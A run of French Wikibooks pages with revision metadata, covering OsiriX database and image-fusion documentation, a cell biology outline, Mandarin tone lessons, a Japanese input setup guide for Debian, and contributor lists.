"listener" DICOM, elles sont stockées dans le dossier “DATABASE” du dossier “OsiriX Data” , situé dans votre dossier de “Documents”. OsiriX se chargera d'administrer ces fichiers. Cela signifie que si vous effacez les lignes correspondantes depuis la fenêtre de base de donnée locale, Osirix va supprimer définitivement ces fichiers. #Si vous importez vos fichiers avec le bouton “Import” ou depuis la ligne de menu, OsiriX peut, ou garder un lien vers ces fichiers, ou les copier dans le dossier de base de donnée. Cela signifie que si vous effacez les lignes correspondantes depuis la fenêtre de base de donnée locale, Osirix va ou effacer les liens vers ces fichiers, ou effacer les copies situées dans le dossier “DATABASE”. OsiriX garde l'information de toutes les images dans le fichier “DATA.DAT”. Ce fichier est situé dans le dossier “OsiriX Data”. Ce fichier peut être effacé. Il ne contient aucune information importante, seulement les liens vers les fichiers DICOM. Vous pouvez reconstruire la base de données en tout temps. Cela effacera le fichier “DATA.DAT” et en reconstruira un nouveau. Pour cela, simplement sélectionner '''Rebuild Database''' depuis le menu '''File'''. Cette fonction va inspecter à nouveau tous les fichiers antérieurement indiqués dans la fenêtre “Local Database”, supprimer toutes les références à fichiers indisponibles et ajouter tous les nouveaux fichiers disponibles dans le dossier “DATABASE” (reçus depuis le réseau de PACS). Vous pouvez modifier le mode d'administration de la base de données depuis la tableau de contrôle Preferences. <center>[[Image:OsiriX_8.1.jpg]]<br>''The Preferences window. ''</center> <center>[[Image:OsiriX_8.2.jpg]]<br>''The “OsiriX Data” folder: ''</center> * Le dosssier “DATABASE” contient les fichiers DICOM locaux. * Le dossier “INCOMING” contient les fichiers temporaires reçus par le "listener". * Le dossier “TEMP” contient les fichier durant le temps nécessaire à leur conversion. Ce dossier est ensuite effacé quand vous quittez OsiriX. * Le dossier “ROIs” garde les régions d'intérêt (ROIs) des images DICOM. ---- [[Documentation en ligne de OsiriX |OsiriX]] <br> [[Documentation en ligne de OsiriX/Examiner plusieurs séries simultanément|<]] [[Documentation en ligne de OsiriX |^]] [[Documentation en ligne de OsiriX/Fusionner des images|>]] [[en:Online OsiriX Documentation/Managing your local OsiriX database]] [[es:Documentación en línea de OsiriX/Administrar una base de datos OsiriX local]] [[ja:OsiriX オンライン解説文書/OsiriX入門_ローカルデータベースを管理する]] Image:OsiriX 8.1.jpg 1080 12732 2004-11-20T23:20:58Z Xmlspeed 107 OsiriX 8.1 (licence GPL) OsiriX 8.1 (licence GPL) Image:OsiriX 8.2.jpg 1081 12733 2004-11-20T23:21:48Z Xmlspeed 107 OsiriX 8.2 (license GPL) OsiriX 8.2 (license GPL) Documentation en ligne de OsiriX/Fusionner des images 1088 18182 2005-07-31T00:22:32Z Drendon 442 Fusionner des images déplacé vers Documentation en ligne de OsiriX/Fusionner des images [[Documentation en ligne de OsiriX/Administrer une base de données locale OsiriX|<]] [[Documentation en ligne de OsiriX |^]] [[Documentation en ligne de OsiriX/Ouvrir des images et films non-DICOM|>]] ---- OsiriX supporte la fusion d'images. Vous pouvez mixer n'importe quelle série avec n'importe quelle autre : Ouvrez simplement les deux séries que vous voulez fusionner et glissez-déposez ensuite l'icône de la barre d'une fenêtre sur l'autre fenêtre : <center>[[Image:OsiriX 9.1.jpg]]<br>''L'icône de fenêtre est situé à gauche du nom de fenêtre.''</center> <center>[[Image:OsiriX 9.2.jpg]]<br>''Fusion d'images entre des séries CT et PET.''</center> Vous pouvez régler la proportion de la fusion avec le curseur de la barre d'outils “Fusion Percentage”. Notez que si vous fermez une des 2 séries, la fusion s'arrête. Et si vous modifiez la première série (CLUT, zoom,rotation, ...), ces modifications seront aussi appliquées à la segonde. La fusion d'images est aussi disponible pour les reconstructions 2D and 3D , ce qui implique que vous pouvez effectuer des fusions sur des reconstructions multiplanares MPR, rendus de volume, etc... <center>[[Image:OsiriX 10.1.jpg]]<br>''Fusion d'images dans la fenêtre 3D MPR''</center> <center>[[Image:OsiriX 10.2.jpg]]<br>''Fusion d'images dans la fenêtre 3D MIP''</center> ---- [[Documentation en ligne de OsiriX |OsiriX]] <br> [[Documentation en ligne de OsiriX/Administrer une base de données locale OsiriX|<]] [[Documentation en ligne de OsiriX |^]] [[Documentation en ligne de OsiriX/Ouvrir des images et films non-DICOM|>]] [[en:Online OsiriX Documentation/Making fusion images]] [[es:Documentación en línea de OsiriX/Fusionar imágenes]] [[ja:OsiriX オンライン解説文書/OsiriX入門_フュージョン画像を作成する]] Image:OsiriX 9.1.jpg 1089 12738 2004-11-21T19:37:17Z Xmlspeed 107 OsiriX 9.1 (GPL licence) OsiriX 9.1 (GPL licence) Image:OsiriX 9.2.jpg 1090 12739 2004-11-21T19:41:11Z Xmlspeed 107 OsiriX 9.2 (GPL licence) OsiriX 9.2 (GPL licence) Image:OsiriX 10.1.jpg 1091 12740 2004-11-21T19:40:56Z Xmlspeed 107 OsiriX 10.2 (GPL licence) OsiriX 10.2 (GPL licence) Image:OsiriX 10.2.jpg 1092 12741 2004-11-21T19:41:52Z Xmlspeed 107 OsiriX 10.2 (GPL licence) OsiriX 10.2 (GPL licence) Biologie cellulaire 1093 33518 2006-02-19T18:13:17Z Psychotic 1167 [[Catégorie:Biologie]] =[[w:fr:Cellule (biologie)|Introduction]]= =Structure de la cellule= ==[[w:fr:Membrane_%28biologie%29|Membrane plasmique]]== ==[[w:fr:Organite|Organites]]== ==[[w:fr:Cytosquelette|Cytosquelette]]== ==[[w:fr:Noyau (biologie)|Noyau]]== ==Particularités de la cellule végétale== # [[w:fr:paroi pectocellulosique|Paroi pecto-cellulosique]] # [[w:fr:Chloroplaste|Chloroplaste]] # [[w:fr:Vacuole|Vacuole]] ==Molécules de la cellule== # Molécules du vivant #* [[w:fr:Lipide|Lipides]] #* [[w:fr:glucide|Glucides]] #* [[w:fr:protéine|Protéines]] #* [[w:fr:Acide nucléique|Acides nucléiques]] # Processus génétiques #* Transcription #* Traduction et code génetique #* Réplication et cycle cellulaire #* Mitose et chromosomes #* Méïose et gamètes # Métabolisme =Interaction avec le milieu et les autres cellules= ==Régulation cellulaire== ==Communications cellulaires== ==Tissus et organes== ==Méthodes de biologie bellulaire== # [[Hybridation et clonage]] # Imagerie cellulaire #* [[w:fr:Microscope confocal à balayage laser|Microscopie confocale]] #* [[w:fr:Protéine fluorescente verte|GFP]] LSF/Transfert 1095 12743 2004-11-23T12:47:17Z Kowey 113 mauvais explications sur le TS et DT {{LSF}} Ce leçon propose une explication possible du transfert en LSF. Cette explication n'est pas neccesairement correcte. Si vous connaisez mieux la LSF, merci de la corriger. ---- Les classificateurs en LSF font partie d'un phenomène qui s'appelle '''transfert'''. Un '''transfert simple''' est soit * utiliser un classificateur au lieu d'un nom * prendre le rôle de ce que vous êtes en train de signer Quand on utilise le transfert deux fois, ça s'appelle '''double transfert'''. Exemples de DT: * on est assis dans l'avion; il y a du turbulence. * je soigne ma grandmere qui est terriblement malade Le double transfert et intéressant car il permet d'exprimer plusieur choses simultanement. De maniere similaire on peut faire du triple transfert, même du quandruple transfert. == Malentendus sur le DT == Le nombre de transferts refère au nombre de techniques utilisés, pas au nombre d'acteurs: * on est assis dans l'avion; il y a du turbulence. * l'homme passe par le fenêtre (transfert simple! pas DT) Créer un site web en 10 leçons 1097 12745 2004-11-23T13:40:41Z Nojhan 123 plan Blabla intro # [[Créer un site web : pour quoi faire ?|Un site web, pour quoi faire ?]] (motivations) # [[Créer un site web : Penser la structure|Penser la structure]] (plan du site, organisation en pages) # [[Créer un site web : Utiliser un système de gestion de contenu|Utiliser un système de gestion de contenu]] (CMS, Spip, base de données, dynamisme) # [[Créer un site web : Séparer le fond de la forme|Séparer le fond de la forme]] (maintenance, médias d'accès) # [[Créer un site web : Organiser une page|Organiser une page]] (squelette/template, infos à présenter, multiplier les accès) # [[Créer un site web : Respecter les standards|Respecter les standards]] (xhtml/css) # [[Créer un site web : Accessibilité et ergonomie|Accessibilité et ergonomie]] (tests, organisation, présentation) # [[Créer un site web : Donner du contenu|Donner du contenu]] (contenu, mise à jours, suivi) # [[Créer un site web : Tester le site|Tester le site]] (différents navigateurs) # [[Créer un site web : Publier son site sur le web|Publier son site sur le web]] (hébergement, référencement) Conclusion Créer un site web : Penser la structure 1098 12746 2004-11-23T15:17:20Z Nojhan 123 une image pour égayer Une fois le but du site web bien défini, il faut se poser la question de l'organisation du site. ==Plan, catégories et articles== [[Image:Exemple arborescence dossiers.png|thumb|170px|Exemple d'arborescence sur un ordinateur]] L'approche la plus simple et la plus couramment utilisée et celle d'une organisation hierarchique par page. Par page, parce que chaque sujet est traité sur une seule page web. Hierarchique, parce que les différentes pages du site sont organisés dans une arborescence, à la manière d'un classeur de rangement ou d'un disque dur sur un ordinateur. Chaque page est alors classée dans un « dossier » qui lui même peut être placé dans un autre dossier. Nous parlerons d' ''article'' pour désigner une page web traitant d'un sujet, et de ''catégorie'' pour désigner un groupe d'articles. Le point de départ de l'organisation du site est appelé la ''racine''. L'ensemble de l'organisation est communément appelée le ''plan du site''. Voici un exemple d'organisation simple : -- '''Le petit Mironton gourmand''' (racine du site) |-- '''Cuisine''' (catégorie) | |°-- ''Choisir une recette'' (article) | |-- '''Cuisine au beurre''' (catégorie) | | |-- ''Faire sauter une viande'' (article) | | °-- ''Gâteau au chocolat'' (article) | °-- '''Cuisine à l'huile''' (catégorie) | | °-- ''Petits légumes du midi'' (article) °-- '''Matériel''' (catégorie) |-- ''Le robot ménager'' (article) °-- ''Les spatules'' (article) Ce site vise à aider les visiteurs à devenir de parfaits cuisinier, pour épater leurs amis. Nous allons donc parler cuisine en général. La racine du site comporte deux catégories, une pour les recettes et les « trucs », l'autre pour le matériel indispensable. Seulement il existe plusieurs types de cuisines ! Pour garder une structure cohérente, il est nécessaire de mettre une catégorie par type de recette. Vous remarquerez qu'un article n'est pas obligatoirement situé dans une sous-catégorie terminale. Vous pouvez placer un article dans une catégorie qui regrouperait d'autres catégories. Le choix de l'organisation de votre site n'est pas anodin, un site mal organisé sera difficile à parcourir pour un internaute qui recherche une information. Imaginez par exemple le même site que ci-dessus, mais sans catégories : -- '''Le petit Mironton gourmand''' (racine du site) |-- ''Faire sauter une viande'' (article) |-- ''Les spatules'' (article) |-- ''Choisir une recette'' (article) |-- ''Petits légumes du midi'' (article) |-- ''Gâteau au chocolat'' (article) °-- ''Le robot ménager'' (article) Pas facile de s'y retrouver avec un grand nombre d'article si l'on cherche la recette des légumes sautés, seule apte à nous épargner une montée de cholestérol... À l'inverse, il ne faut pas multiplier les catégories, si vous avez autant de catégories que d'articles, parcourir votre site ne sera pas plus facile. Une bonne organisation est donc un compromis entre le nombre de catégories et le nombre d'articles. pensez cependant qu'au départ, vous aurez sans doute peu d'articles publiés. Soyez donc rigoureux et prenez le temps de bien penser au plan de votre site dès le départ, cela vous épargnera de longues heures de travail si par la suite vous vous rendez compte qu'il faut tout changer. ==Plan de notre site== Nous avons choisi dans la [[Créer un site web : pour quoi faire ?|leçon précédente]] de construire un site web du type « page d'association ». Un exemple de plan possible serait le suivant : -- Association Machin (...) ---- [[Créer un site web : Utiliser un système de gestion de contenu|Leçon suivante]] [[Créer un site web en 10 leçons|Revenir au sommaire]] Image:Exemple arborescence dossiers.png 1100 12748 2004-11-23T15:19:08Z Nojhan 123 licence + description Exemple d'arborescence d'un système de fichier. Capture d'écran prise en novembre 2004 par Johann Dréo ([[Utilisateur:Nojhan|nojhan]]). Le logiciel représenté est Nautilus (version 2.4.0), sous Linux Fedora (core 1). {{CC-BY-SA}} Créer un site web : Utiliser un système de gestion de contenu 1101 12749 2004-11-23T16:00:10Z Nojhan 123 ==Qu'est-ce qu'un CMS== ==Quelques CMS existants== ==Spip== Choisir [http://www.spip.net Spip]. ===Fonctionnalités=== ===Installation=== ---- [[Créer un site web : Penser la structure|← Leçon précédente]] - [[Créer un site web : Séparer le fond de la forme|Leçon suivante →]] [[Créer un site web en 10 leçons|Revenir au sommaire]] Enseignement du chinois 1105 40000 2006-04-11T22:52:40Z Zj 125 création "méthode de chinois" '''Le chinois''' est considéré comme une langue extrêmement difficile à apprendre à cause de (1) la différence entre le système phonétique des langues occidentales et le système idéogrammique de cette langue, et (2) de la méconnaissance de cette langue. Il est facile d'avoir une fausse conception d'une langue qu'on ne connaît pas. Personne ne parle toutes les langues du monde, alors comment peut-on dire exactement qu'une langue est plus difficile qu'une autre? Cependant, un fait que tout le monde connaît suffit à encourager ceux qui désirent apprendre une langue difficile et sont intimidés par la difficulté devant eux : aussi difficile qu'elle soit, toute langue est parlée par au moins un peuple (les langues vivantes), ou a été parlée par un peuple (les langues mortes). Cela dit, une méthode appropriée est essentielle : un obstacle au début suffirait à arrêter un curieux non convaincu, des accidents pendant la route suffisent à gaspiller un énorme travail, qui pourrait devenir un beau fruit en automne. Ce livre propose deux méthodes différentes pour répondre aux objectifs de différents apprenants : visites et culture. Je me consacre surtout aux premiers buts de visites, selon la durée de la visite. [[Méthodes de chinois (mandarin) pour 8 jours de visites en Chine]] :''Vous voulez partir en Chine pendant 8 jours? Qu'est-ce qu'il faut savoir dire pour ne pas se perdre dans l'immense empire du milieu? Pour mieux se débrouiller? Donner vos propositions et essayons de les concrétiser en méthodes.'' [[Méthodes de chinois (mandarin) pour 3 mois de visites en Chine]] :''Plus on reste, plus on a l'occasion de rencontrer des situations.'' Il est par exemple possible de devoir [[faire son marché]] [[Méthodes de chinois (mandarin) pour devenir sinophone ]] [[Méthodes de chinois]] Un livre de référence pour apprendre le chinois comme langue étrangère. Certains éléments sont tiré de la méthode anglaise sur wikibooks, avec des exemples en français. Ressources pour apprendre le chinois dont un dictionnaire chinois-français: [http://www.chine-informations.com/mods/lechinois Outils pour apprendre le chinois] 40 leçons de débutant à intermédiaire: [http://www.chine-nouvelle.com/methode/chinois méthode de chinois en ligne] ''Je laisse le soin au spécialiste.'' [[Catégorie:Langue|Chinois]] [[en:Chinese (Mandarin)]] [[it:Corso di cinese/Indice]] [[pl:Chiński]] [[es:Chino]] <!-- 在以上的课程里中文是一样的, 在以下的课程里中文是不同的 --> [[fr:Enseignement du chinois]] [[de:Chinesisch]] [[ja:中国語]] [[nl:Mandarijn]] Lire et écrire le japonais sous Debian 1106 26148 2005-11-27T16:01:58Z 82.234.50.167 Définir les variables d'environnement == Introduction == La plupart des programmes cités fonctionnent sous d'autres distributions. Le problème de l'encodage. == Etapes préliminaires == ===Installation des fontes=== Afin d'etre en mesure d'afficher les caractères japonais, il faut disposer des [[fonte]]s kochi-mincho et kochi-gothic. Pour les installer executez les commandes suivantes : apt-get install ttf-kochi-mincho apt-get install ttf-kochi-gothic Pour voir la liste des autres fontes japonaises disponibles sous [[Debian]] executez : apt-cache search japanese fonts ===Changement de locale=== Installer des nouvelles locales: dpkg-reconfigure locales Ajouter ja_JP.UTF-8. Pour changer de locale: export LC_ALL="ja_JP.UTF-8" locale La dernière commande "locale" sert à vérifier que la locale est bien connue du système. (A completer) == Serveur d'entrée X11 == === Utiliser kinput2 et canna === Pour écrire en japonais sous X, il faut installer un système de conversion. Ce sont les applications canna et kinput2 qui se chargeront de cette tache. Pour les installer, executez les commandes suivantes : apt-get install canna apt-get install kinput2-canna Si ce n'est pas déjà fait par apt, demarrez l'ensemble : cannaserver kinput2 -canna & Une fois l'opération effectuée, il faut indiquer à X qu'il doit prendre en compte le serveur d'entrée. Pour cela executez dans un terminal X la commande suivante : export XMODIFIERS="@im=kinput2" Appuyez ensuite sur shift+espace dans les applications X pour passer du mode écriture latine au mode japonais et inversement. === Utiliser UIM === Une autre méthode consiste à utiliser l'application uim en liaison avec le serveur anthy. UIM est un peu plus récent que canna, et permet de changer facilement de méthode de saisie par l'intermédiaire d'un menu qui apparaît lors d'un clic droit de la souris. Je détaille ici l'installation de ce système dans le cas de Gnome (ou autres Window-managers basés sur Gtk) et pour une debian/unstable. Je ne sais pas si ça fonctionne dans les autres cas, mais vous pouvez essayer et détailler ici ce qui est à compléter :). Pour l'installer, il suffit d'executer les commandes suivantes : apt-get install uim apt-get install anthy apt-get install uim-anthy Comme pour le cas précédent, une fois que les paquets sont installés, il faut préciser qu'on veut les utiliser. Tout d'abord, créez un fichier nommé '''.uim''' dans votre répertoire personnel, avec le contenu suivant: # Définit anthy comme méthode de saisie par défaut pour UIM (define default-im-name 'anthy) # Si vous avez un clavier japonais, permet de changer la méthode de saisie # avec la touche 漢字(半角/全角) (define-key anthy-on-key? '"zenkaku-hankaku") (define-key anthy-off-key? '"zenkaku-hankaku") Puis ajoutez ces lignes dans le fichier '''.gnomerc''' de votre répertoire personnel (pour les gens qui utilisent KDE, c'est un fichier différent, peut-être '''.xsession'''): export XMODIFIERS=@im=uim export GTK_IM_MODULE=uim Si le fichier ~/.gnomerc ne marche pas (c'est le cas sous Ubuntu 5.10), utilisez le fichier ~/.xsession (ce fichier doit être rendu éxécutable avec chmod +x): #!/bin/bash export XMODIFIERS=@im=uim export GTK_IM_MODULE=uim # Lancement de GNOME: exec /usr/bin/gnome-session # # Lancement de KDE: # exec /usr/bin/startkde Ceci permet de dire à X que vous allez utiliser l'interface UIM. Une fois ceci fait et après avoir relance X, il suffit alors de faire la combinaison SHIFT-ESPACE pour passer du français au japonais. Ceci devrait marcher avec n'importe quelle application. De plus, sous Gnome vous aurez un menu en cliquant sur une zone de texte avec le bouton droit de la souris. Ce menu permet de choisir dans quelle langue vous voulez écrire. Vous pouvez aussi utiliser l'applet Gnome UIM pour changer la langue. apt-get install uim-applet-gnome === Utiliser SCIM === Enfin, il est possible d'utiliser SCIM par dessus UIM, afin d'avoir de jolies fenêtres lors du choix des caractères, 3 autres méthodes spécifiques à scim et une méthode de m17n. Il contient également des méthodes pour de nombreuses autres langues dont le chinois, ce qui peut etre utile pour mieux comprendre les kanji. Ceci se fait par l'exécution de la commande: apt-get install scim == Interface graphique == === KDE === L'équipe de [[KDE]] fait de gros efforts pour fournir une version japonaise de ce gestionnaire de fenetres : traduction des barres des menus, des messages dans kmail,etc. Pour installer l'ensemble des traductions en japonais des applications KDE, executez : apt-get install kde-i18n-ja Pour basculer toutes les applications KDE en japonais, il suffit alors d'aller dans le ''Centre de configuration'' et de modifier la langue dans la rubrique ''Régionalisation''. == Navigateur == * La barre des tâches et les menus dans [[Galeon]] sont traduits en japonais. Vous pouvez simplement écrire en japonais dans un formulaire, comme ceux du wikipedia. Il suffit d'appuyer sur shift+espace. Néanmoins, il faut d'abord avoir configuré les locales (voir plus haut). == Editeurs et traitement de texte == * [[vim]] * [[gvim]] * [[emacs]] * [[Xemacs]] * [[yudit]] Pour installer : apt-get install yudit * LyX == Messagerie instantanée == * [[ICQ]] * [[Yahoo]] == Console (mode texte de Gnu/linux) == * kanji terminal, aussi appelé [[kterm]] apt-get install kterm * konsole (Terminal KDE) apt-get install konsole * rxvt apt-get install rxvt-ml == Outils divers == * [http://gjiten.sourceforge.net/ gjiten] dictionnaire japonais et de kanji utilisant edict. apt-get install gjiten * [http://www.csse.monash.edu.au/~jwb/j_edict.html Le projet Edict] en anglais, le dictionnaire. Des versions japonais-anglais japonais-français et japonais-allemand du dictionnaire edict existent. * [http://edu.kde.org/kiten/ kiten], outils de référence du japonais, apt-get install kiten * [http://fishsoup.net/software/kanjipad/ kanjipad] pour faire reconnaitre les kanjis dessinés à la souris apt-get install kanjipad == Pages de manuels == *[[man (commande Unix)|man]] == Liens internes == [[Lire et écrire le japonais sous Mandriva]] == Liens externes == * [http://www.ghosthack.net/~moku/wiki/LinuxEtLeJaponais Linux et le Japonais] * http://www.loisant.org/weblog/index.php?2004/04/20/30 * http://www.loisant.org/weblog/index.php?2004/04/20/30-saisie-multilingue-japonais-francais-sous-gnulinux * http://lunacymaze.org/blog.php/2004/03/28/3-input-method-editor-ime-sous-linux * http://www.thbz.org/japonais/japonais-linux.html * [http://charles.plessy.org/jp/jp.html Prise en charge du japonais sous debian] Méthodes de chinois (mandarin) pour 8 jours de visites en Chine 1107 24078 2005-10-23T16:22:53Z 80.9.92.134 Huit jours, c'est court. Mais en connaissant un minimum de chinois, le voyage risque de devenir beaucoup plus agréable. La prononciation est une base nécessaire pour ceux qui ont la probabilité de continuer après à l'étudier. Pour ceux qui veulent simplement se débrouiller une fois pour toute, il suffit de savoir prononcer grosso modo. [[Cours élémentaires I : les tons et l'indication ]] [[Cours élémentaires II : Les sons difficiles ]] [[Cours élémentaires III : Dire bonjour ]] [[Cours intermédiaires I : Demander son chemin ]] [[Cours intermédiaire II : Acheter un souvenir ]] [[Cours avancés I : Construire une phrase simple ]] [[cours avancés II: Des expressions d'appréciation ]] Pour soutenir à la rédaction de ce cours, venez mettre vos questions et les mots que vous désirez dire pendant votre 8 jours à 1 mois de visite en Chine. Cours élémentaires I : les tons et l'indication 1108 43793 2006-06-03T11:23:28Z 195.93.102.36 /* PHONETIQUE - QUATRE TONS */ ===TEXTE=== {| border="1" |+ <big>Quatre tons du mandarin ! ! <big> Caractère simplifié !! <big> Caractère traditionnel !! <big> Sens |- ! <big>Mā | <big>妈 | <big>媽 | <big>maman |- | <big>'''Má''' | <big>麻 | <big>麻 | <big>lin |- | <big>'''Mǎ''' | <big>马 | <big>馬 | <big>cheval |- | <big>'''Mà''' | <big>骂 | <big>罵 | <big>insulter |- | <big>'''Ma''' | <big>吗 | <big>嗎 | <big>interrogation |} ===PHONETIQUE - QUATRE TONS=== Les tons sont un élément essentiel de la langue chinoise malgré le fait que les étrangers ne veulent souvent absolument pas le maîtriser. Ils disent que c'est trop difficile. J'avoue que c'est extrêmement difficile pour ceux qui ont déjà des centaines de caractères chinois, il faut les réapprendre et changer l'habitude avec chacun d'entre eux. Mais si on commence par le début, la donne est complètement changée. Balançons les vieilles habitudes, qui sont parfois mauvaises. Un petit chiffre : dans le système d'exploitation Windows avant l'édition ME (millenium Edition), il y avait 4000 caractères chinois; dans les Windows après ME, c'est à dire 2000 ou XP, on peut traiter 26 000 caractères chinois. Par contre il n'y a que 400 combinaisons de prononciations possibles qui ne sont pas toujours utilisées. C'est-à-dire que les 5 tons réduisent le nombre de caractères correspondant à une combinaison phonétique (une consonne + une voyelle) de 10 à 2. A vous de voir la différence que ça peut générer. Les 5 tons : Ils existent tous en français, pas étonnemment : les deux langues sont toutes chantantes. Simplement en français ça servait à exprimer un sentiment ou une attitude. Certains y sont sensibles et d'autres y sont moins sensibles, car ils ne servent pas à distinguer les sens. En chinois au contraire, les tons sont des éléments aussi essentiels qu'une voyelle ou qu'une consonne, à l'exception du ton faible qui a une moindre importance. [[Image:Pinyin_Tone_Chart.png|l|thumb|150px|QUATRE TONS]] 1 (-) : Ton plat, ou 1e ton. Prononcer sans monter ni descendre la voix. En fait, il faut chanter en tenant la note (comme quand on donne le "la"). 2 (/) : Ton montant, ou 2e ton. Dans une interrogation normale on termine souvent par ce ton. "Il va à l'é'''cole'''?" "Il n'est '''pas''' à la maison." Il faut commencer à prononcer la syllabe avec une voix grave, et remonter vers les médiums. 3 (^) : Ton plié, ou 3e ton. Les parties dans ces expression. "Oh '''là là'''". Il faut faire descendre la voix vers le grave, puis la faire remonter. Noter que la partie remontante est généralement supprimée lorsque la syllabe concernée et la suivante sont prononcées d'affilée. Autre particularité importante : lorsque deux syllabes au 3e ton se suivent, la première est prononcée comme un 2e ton. C'est le cas dans le mot "bonjour" (cours élémentaire 3) 4 (\) : Ton descendant ou 4e ton. "Ce sont des c'''ons'''!" Il faut partir de l'aigu, et descendre vers les médiums (ce qui distingue nettement ce ton du précédent). 5 (sans rien marqué) : Ton faible. Prononcer de manière très légère comme le "le" à la fin du mot "faib'''le'''". Ces comparaisons sont productifs pour l'enseignant car les Français prononcent différemment les phrases et ma sensibilité ne me permets pas de le décrire exactement. '''retour à l'[[Enseignement du chinois]]''' Wikilivres:Wikipédiens par pays 1111 41527 2006-05-03T20:33:52Z Coleginux 1430 /* Rhône-Alpes */ == '''Belgique''' == === Région de Bruxelles-Capitale === * [[Utilisateur:Philippe Allard|Philippe Allard]] * [[Utilisateur:Laurent Bouvier|Laurent Bouvier]] == '''Canada''' == ===Québec=== * [[Utilisateur:Pfv2|Pfv2 ]] == '''France''' == === [[w:Aquitaine|Aquitaine]] === ==== Pyrénées-Atlantiques ==== * [[Utilisateur:Senaku-seishin|Senaku-seishin]] === [[w:Auvergne|Auvergne]] === ==== [[w:Puy-de-dôme (département)|Puy-de-dôme (63)]] ==== * [[Utilisateur:GML|Ludovic Gasc (GML)]] (Clermont-ferrand) === [[w:Bretagne|Bretagne]] === ==== [[w:Finistère (département)|Finistère (29)]] ==== * [[Utilisateur:Kiouk|Alexandre CUCUMEL (Kiouk)]] (Brest) ==== [[w:Côtes-d'Armor|Côtes-d'Armor (22)]] ==== * [[Utilisateur:jonathaneo|jonathan chabert]] (Saint-Brieuc) ===Ile de France=== ====[[w:Essonne (département)|Essonne (91)]]==== * [[Utilisateur:Darkdadaah|Darkdadaah (Dakdada)]] ====[[w:Hauts-de-Seine|Haut de Seine (92)]]==== * [[Utilisateur:Anarchimede|Anarchimede]] * [[Utilisateur:Ghusse|Ghusse]] ====[[w:Val-de-Marne|Val de Marne (94)]]==== * [[Utilisateur:Francis Nguyen Tich Ky|Francis Nguyen Tich Ky]] ====[[w:Yvelines|Yvelines (78)]]==== * [[82.224.88.52|Jacques 0vion]] mais arbitre dans le 78 === [[w:Nord_Pas_de_Calais|Nord-Pas-de-Calais]] === ==== [[w:Nord (département)|Nord (59)]] ==== * [[Utilisateur:AntoineVE|Antoine]] === [[w:Normandie|Normandie]] === (Basse-Normandie) ==== [[w:Manche (département)|Manche]] ==== *[[w:Utilisateur:Fitzwarin|R. Fitzwarin]] (Haute-Normandie) ===PACA=== ==== [[w:Alpes Maritimes(département)|Alpes Maritimes(06)]] ==== =====(Païs Nissart)===== * [[Utilisateur:Gmarzin|Gmarzin]] === Rhône-Alpes === ==== [[w:Isère (département)|Isère (38)]] ==== *[[Utilisateur:Boly38|Boly]] [[Discussion_Utilisateur:Boly38|♪]] ==== [[w:Rhône (département)|Rhône (69)]] ==== *[[Utilisateur:epommate|epommate]] ==== [[w:Haute-Savoie|Haute-Savoie (74)]] ==== * [[Utilisateur:Yann|Yann]] ==== [[w:Ardèche|Ardèche (07)]] ==== * [[Utilisateur:Coleginux|Coleginux]] == '''Japon''' == === Kyoto Prefecture === * [[Utilisateur:Yota|Yota]] == '''Guinée''' == * [[Utilisateur:Fyoula|Famo YOULA]] Wikilivres:Wikipédiens par thèmes d'intérêt 1112 24199 2005-10-24T21:23:51Z Epommate 705 /* Informatique et sciences */ ===Langues et Linguistique=== * [[Utilisateur:Yann|Yann]] : langues indiennes ([[Gujarati]] et [[Hindi]]) * [[Utilisateur:Antoinel|Antoinel]] : allemand; anglais; linguistique; * [[Utilisateur:jonathaneo|jonathaneo]] : japon, espéranto, espagnol, anglais, allemand(apprentissage et culture) * [[Utilisateur:Pfv2|Pfv2]] 2 oct 2005 à 04:01 (UTC) : français ===Pays et culture=== ====Pays==== * [[Utilisateur:Senaku-seishin|Senaku-seishin]] : Le Japon ====Culture==== =====Philosophie===== * [[Utilisateur:Senaku-seishin|Senaku-seishin]] : la philosophie * [[Utilisateur:jonathaneo|jonathaneo]] : philosophie (matière praiqué en TL) ===Informatique et sciences=== * [[Utilisateur:Yann|Yann]] : [[Certifications Linux LPI]]. * [[Utilisateur:Anarchimede|Anarchimede]] : lecture et écriture de [[w:science-fiction]], [[w:Astrophysique]] et [[conquête spatiale]], et les [[w:origami]]s. * [[Utilisateur:Antoinel|Antoinel]] : chimie. * [[82.224.88.52|Jacques Ovion]] bridge, [http://fr.wikipedia.org/w/index.php?title=Wikip%C3%A9dia%3AWikiReader_Esp%C3%A9ranto&diff=0&oldid=1546163 wikireader], Othello, ainsi que, mais vraiment en amateur, aux mêmes sujets que ceux d'[[Utilisateur:Anarchimede]] que j'ai déjà rencontré en chair et en os. * [[Utilisateur:Kiouk|Alexandre CUCUMEL (Kiouk)]] : logiciels libres, standards web, science fiction et fantasy. * [[Utilisateur:Pfv2| Pfv2]] : Informatique. * [[Utilisateur:Senaku-seishin|Senaku-seishin]] :l'informatique. * [[Utilisateur:epommate|epommate]] : l'informatique. Histoire de l'Europe 1113 40659 2006-04-21T15:06:28Z 83.153.12.212 catégorie - histoire <table width="100%" cellspacing="0" cellpadding="4" border="0" style="border:solid #BBBBBB 1px; background:#CCCCEE"><tr> <td style="background:#CCCCEE;vertical-align:top"><div style="margin-left:10px; margin-right:10px; margin-top:10px;margin-bottom:10px; border:solid #BBBBBB 0px">[[Image:carteeuropa.jpg|150px]]</div></td> <td style="vertical-align:center"><div style="margin-left:15px;margin-right:15px">''L'histoire humaine est par essence l'histoire des idées.'' :'''Herbert George Wells''' <center><br><big>'''[[Histoire de l'Europe:sommaire|sommaire >>]]'''</big></center></div></td> </tr></table> [[en:European History]] [[Catégorie:Histoire]] Guides et Tutoriels 1114 23758 2005-10-20T17:55:51Z 84.5.54.227 /* Les Bases de Données */ openoffice base ! ==Systèmes d'Exploitation== *[[Linux]] **[[Lire et écrire le japonais sous Debian]] *[[Windows]] **[[Lire et écrire le japonais sous Windows]] ==Navigateur== *[[Firefox]] et ses [[Les Extensions Firefox|Extensions]] *[[Internet Explorer]] *[[Opera]] *[[Safari]] ==Bureautique== ===Les Suites Bureautiques=== *[http://fr.wikipedia.org/wiki/Microsoft_Office Microsoft Office] *[http://fr.wikipedia.org/wiki/OpenOffice.org OpenOffice.org] ===Les Traitements de texte=== *[[Microsoft Word]] *[[Writer]] ===Les tableurs=== *[[Microsoft Excel]] *[[Calc]] ===Les Bases de Données=== *[[Microsoft Access]] *[[Base]] === Présentations graphiques=== *[[Microsoft PowerPoint]] ===Publication === *[[Microsoft Publisher]] ==Graphisme== *[[GIMP]] ==Utilitaires Divers== ===Compresseur=== *[[7-Zip]] *[[Winrar]] *[[Winzip]] ===Autres=== *[[Celestia]] Guide et tutoriel 